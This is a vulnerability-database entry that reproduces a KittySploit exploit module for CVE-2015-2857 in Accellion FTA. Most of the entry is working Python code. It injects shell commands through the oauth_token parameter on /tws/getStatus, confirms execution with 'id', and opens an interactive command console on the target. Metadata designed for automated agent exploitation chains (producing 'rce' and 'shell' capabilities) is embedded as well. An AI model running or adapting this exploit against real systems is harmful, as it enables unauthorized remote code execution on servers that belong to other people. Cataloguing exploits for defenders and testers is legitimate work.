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Accellion FTA - getStatus Command Injection (CVE-2015-2857)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Command injection in Accellion FTA via oauth_token on /tws/getStatus allows RCE.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Accellion FTA getStatus oauth_token RCE (CVE-2015-2857) — opens execute session."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Accellion FTA - getStatus Command Injection (CVE-2015-2857)',
        'description': (
            'Exploits CVE-2015-2857 by injecting OS commands via oauth_token on '
            '/tws/getStatus. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2015-2857'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-2857'],
        'tags': ['accellion', 'fta', 'rce', 'cmdi', 'unauth', 'cve-2015-2857'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2015_2857_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        tid = self.random_text(8)
        # oauth_token=' ; <cmd> ; echo '
        token = f"';{cmd};echo '"
        data = f'transaction_id={tid}&oauth_token={quote(token, safe="")}'
        r = self.http_request(
            method='POST',
            path='/tws/getStatus',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            # soft check: Success marker from NASL PoC
            tid = self.random_text(8)
            data = f"transaction_id={tid}&oauth_token='%3becho '"
            r = self.http_request(
                method='POST',
                path='/tws/getStatus',
                data=data,
                headers={'Content-Type': 'application/x-www-form-urlencoded'},
                allow_redirects=False,
            )
            if not r or '"result_msg":"Success"' not in (r.text or ''):
                print_error('Target does not appear vulnerable to CVE-2015-2857')
                return False
        print_success('Accellion FTA getStatus RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

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10 Aug 2026 06:19Current
7.7High risk
Vulners AI Score7.7
CVSS 27.5
CVSS 3.19.8
EPSS0.84178
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